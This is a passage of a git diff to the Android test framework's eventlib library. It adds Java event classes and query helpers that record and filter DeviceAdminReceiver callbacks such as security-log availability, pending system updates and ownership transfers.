+    DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventQuery passwordExpiring();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onPasswordFailed(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminPasswordFailedEvent.DeviceAdminPasswordFailedEventQuery passwordFailed();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onPasswordSucceeded(Context, Intent, UserHandle)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminPasswordSucceededEvent.DeviceAdminPasswordSucceededEventQuery passwordSucceeded();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onProfileProvisioningComplete(Context, Intent)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminProfileProvisioningCompleteEvent.DeviceAdminProfileProvisioningCompleteEventQuery profileProvisioningComplete();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onReadyForUserInitialization(Context, Intent)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminReadyForUserInitializationEvent.DeviceAdminReadyForUserInitializationEventQuery readyForUserInitialization();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onSecurityLogsAvailable(Context, Intent)} is called
+     * on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminSecurityLogsAvailableEvent.DeviceAdminSecurityLogsAvailableEventQuery securityLogsAvailable();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onSystemUpdatePending(Context, Intent, long)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminSystemUpdatePendingEvent.DeviceAdminSystemUpdatePendingEventQuery systemUpdatePending();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onTransferAffiliatedProfileOwnershipComplete(Context, UserHandle)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery transferAffiliatedProfileOwnershipComplete();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onTransferOwnershipComplete(Context, PersistableBundle)}
+     * is called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminTransferOwnershipCompleteEvent.DeviceAdminTransferOwnershipCompleteEventQuery transferOwnershipComplete();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onUserAdded(Context, Intent, UserHandle)} is called
+     * on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminUserAddedEvent.DeviceAdminUserAddedEventQuery userAdded();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onUserRemoved(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminUserRemovedEvent.DeviceAdminUserRemovedEventQuery userRemoved();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onUserStarted(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminUserStartedEvent.DeviceAdminUserStartedEventQuery userStarted();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onUserStopped(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminUserStoppedEvent.DeviceAdminUserStoppedEventQuery userStopped();
+
+    /**
+     * Query for when {@link DeviceAdminReceiver#onUserSwitched(Context, Intent, UserHandle)} is
+     * called on a device admin receiver.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    DeviceAdminUserSwitchedEvent.DeviceAdminUserSwitchedEventQuery userSwitched();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
new file mode 100644
index 0000000..a06bbd1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onSecurityLogsAvailable(Context, Intent)}
+ * is called.
+ */
+public final class DeviceAdminSecurityLogsAvailableEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminSecurityLogsAvailableEvent} events. */
+    public static DeviceAdminSecurityLogsAvailableEventQuery queryPackage(String packageName) {
+        return new DeviceAdminSecurityLogsAvailableEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminSecurityLogsAvailableEvent}. */
+    public static final class DeviceAdminSecurityLogsAvailableEventQuery
+            extends EventLogsQuery<DeviceAdminSecurityLogsAvailableEvent,
+            DeviceAdminSecurityLogsAvailableEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminSecurityLogsAvailableEventQuery(String packageName) {
+            super(DeviceAdminSecurityLogsAvailableEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onSecurityLogsAvailable(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminSecurityLogsAvailableEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminSecurityLogsAvailableEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminSecurityLogsAvailableEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminSecurityLogsAvailableEvent}. */
+    public static DeviceAdminSecurityLogsAvailableEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminSecurityLogsAvailableEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminSecurityLogsAvailableEvent}. */
+    public static final class DeviceAdminSecurityLogsAvailableEventLogger
+            extends EventLogger<DeviceAdminSecurityLogsAvailableEvent> {
+        private DeviceAdminSecurityLogsAvailableEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminSecurityLogsAvailableEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSecurityLogsAvailableEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSecurityLogsAvailableEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminSecurityLogsAvailableEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminSecurityLogsAvailableEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onSecurityLogsAvailable(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminSecurityLogsAvailableEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
index dcf3cff..2705942 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
@@ -37,7 +37,9 @@
 /** Event logged when {@link DeviceAdminReceiver#onSystemUpdatePending} is called. */
 public class DeviceAdminSystemUpdatePendingEvent extends Event {
 
-    /** Begin a query for {@link DeviceAdminSystemUpdatePendingEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminSystemUpdatePendingEvent} events. */
     public static DeviceAdminSystemUpdatePendingEventQuery queryPackage(String packageName) {
         return new DeviceAdminSystemUpdatePendingEventQuery(packageName);
     }
@@ -46,6 +48,9 @@
     public static final class DeviceAdminSystemUpdatePendingEventQuery
             extends EventLogsQuery<DeviceAdminSystemUpdatePendingEvent,
                     DeviceAdminSystemUpdatePendingEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminSystemUpdatePendingEventQuery>
                 mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminSystemUpdatePendingEventQuery> mIntent =
@@ -58,7 +63,7 @@
         }
 
         /**
-         * Query {@link Intent} passed into {@link
+         * Queries {@link Intent} passed into {@link
          * DeviceAdminReceiver#onPasswordSucceeded(Context, Intent)}.
          */
         @CheckResult
@@ -66,7 +71,7 @@
             return mIntent;
         }
 
-        /** Query {@link DeviceAdminReceiver}. */
+        /** Queries {@link DeviceAdminReceiver}. */
         @CheckResult
         public DeviceAdminReceiverQuery<DeviceAdminSystemUpdatePendingEventQuery>
         whereDeviceAdminReceiver() {
@@ -95,9 +100,18 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminSystemUpdatePendingEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("receivedTime", mReceivedTime)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link DeviceAdminSystemUpdatePendingEvent}. */
+    /** Begins logging a {@link DeviceAdminSystemUpdatePendingEvent}. */
     public static DeviceAdminSystemUpdatePendingEventLogger logger(
             DeviceAdminReceiver deviceAdminReceiver,
             Context context,
@@ -121,34 +135,34 @@
             setReceivedTime(receivedTime);
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
                 DeviceAdminReceiver deviceAdminReceiver) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
                 Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
             return this;
         }
 
-        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
         public DeviceAdminSystemUpdatePendingEventLogger setDeviceAdminReceiver(
                 String deviceAdminReceiverClassName) {
             mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public DeviceAdminSystemUpdatePendingEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
         }
 
-        /** Set the received time. */
+        /** Sets the received time. */
         public DeviceAdminSystemUpdatePendingEventLogger setReceivedTime(long receivedTime) {
             mEvent.mReceivedTime = receivedTime;
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
new file mode 100644
index 0000000..4ce8b18
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.UserHandleQuery;
+import com.android.queryable.queries.UserHandleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when
+ * {@link DeviceAdminReceiver#onTransferAffiliatedProfileOwnershipComplete(Context, UserHandle)}
+ * is called.
+ */
+public final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent} events. */
+    public static DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery queryPackage(
+            String packageName) {
+        return new DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent}. */
+    public static final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery
+            extends EventLogsQuery<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent,
+            DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery>
+                mUser =
+                new UserHandleQueryHelper<>(this);
+
+        private DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery(String packageName) {
+            super(DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.class, packageName);
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Queries {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onTransferAffiliatedProfileOwnershipComplete(Context, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery> whereUser() {
+            return mUser;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent event) {
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mUser.matches(event.mUser)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(
+                    DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.class, this)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("user", mUser)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent}. */
+    public static DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context, UserHandle user) {
+        return new DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger(
+                deviceAdminReceiver, context, user);
+    }
+
+    /**
+     * {@link EventLogger} for
+     * {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent}.
+     */
+    public static final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger
+            extends EventLogger<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> {
+        private DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, UserHandle user) {
+            super(context, new DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent());
+            setUser(user);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link UserHandle} which was received. */
+        public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventLogger setUser(
+                UserHandle user) {
+            mEvent.mUser = new SerializableParcelWrapper<>(user);
+            return this;
+        }
+    }
+
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected SerializableParcelWrapper<UserHandle> mUser;
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onTransferAffiliatedProfileOwnershipComplete(Context, UserHandle)}
+     */
+    public UserHandle user() {
+        if (mUser == null) {
+            return null;
+        }
+        return mUser.get();
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent{"
+                + ", user=" + user()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
new file mode 100644
index 0000000..7cfc991
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEvent.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.PersistableBundleQuery;
+import com.android.queryable.queries.PersistableBundleQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when
+ * {@link DeviceAdminReceiver#onTransferOwnershipComplete(Context, PersistableBundle)} is called.
+ */
+public final class DeviceAdminTransferOwnershipCompleteEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminTransferOwnershipCompleteEvent} events. */
+    public static DeviceAdminTransferOwnershipCompleteEventQuery queryPackage(String packageName) {
+        return new DeviceAdminTransferOwnershipCompleteEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminTransferOwnershipCompleteEvent}. */
+    public static final class DeviceAdminTransferOwnershipCompleteEventQuery
+            extends EventLogsQuery<DeviceAdminTransferOwnershipCompleteEvent,
+            DeviceAdminTransferOwnershipCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        PersistableBundleQueryHelper<DeviceAdminTransferOwnershipCompleteEventQuery> mBundle =
+                new PersistableBundleQueryHelper<>(this);
+
+        private DeviceAdminTransferOwnershipCompleteEventQuery(String packageName) {
+            super(DeviceAdminTransferOwnershipCompleteEvent.class, packageName);
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminTransferOwnershipCompleteEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Queries {@link PersistableBundle} passed into
+         * {@link DeviceAdminReceiver#onTransferOwnershipComplete(Context, PersistableBundle)}.
+         */
+        @CheckResult
+        public PersistableBundleQuery<DeviceAdminTransferOwnershipCompleteEventQuery> whereBundle() {
+            return mBundle;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminTransferOwnershipCompleteEvent event) {
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mBundle.matches(event.mBundle)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminTransferOwnershipCompleteEvent.class, this)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("bundle", mBundle)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminTransferOwnershipCompleteEvent}. */
+    public static DeviceAdminTransferOwnershipCompleteEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context, PersistableBundle bundle) {
+        return new DeviceAdminTransferOwnershipCompleteEventLogger(
+                deviceAdminReceiver, context, bundle);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminTransferOwnershipCompleteEvent}. */
+    public static final class DeviceAdminTransferOwnershipCompleteEventLogger
+            extends EventLogger<DeviceAdminTransferOwnershipCompleteEvent> {
+        private DeviceAdminTransferOwnershipCompleteEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, PersistableBundle bundle) {
+            super(context, new DeviceAdminTransferOwnershipCompleteEvent());
+            mEvent.mBundle = new SerializableParcelWrapper<>(bundle);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminTransferOwnershipCompleteEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link PersistableBundle} which was received. */
+        public DeviceAdminTransferOwnershipCompleteEventLogger setBundle(PersistableBundle bundle) {
+            mEvent.mBundle = new SerializableParcelWrapper<>(bundle);
+            return this;
+        }
+    }
+
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected SerializableParcelWrapper<PersistableBundle> mBundle;
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@link PersistableBundle} passed into
+     * {@link DeviceAdminReceiver#onTransferOwnershipComplete(Context, PersistableBundle)}.
+     */
+    public PersistableBundle bundle() {
+        if (mBundle == null) {
+            return null;
+        }
+        return mBundle.get();
+    }
+
+    @Override
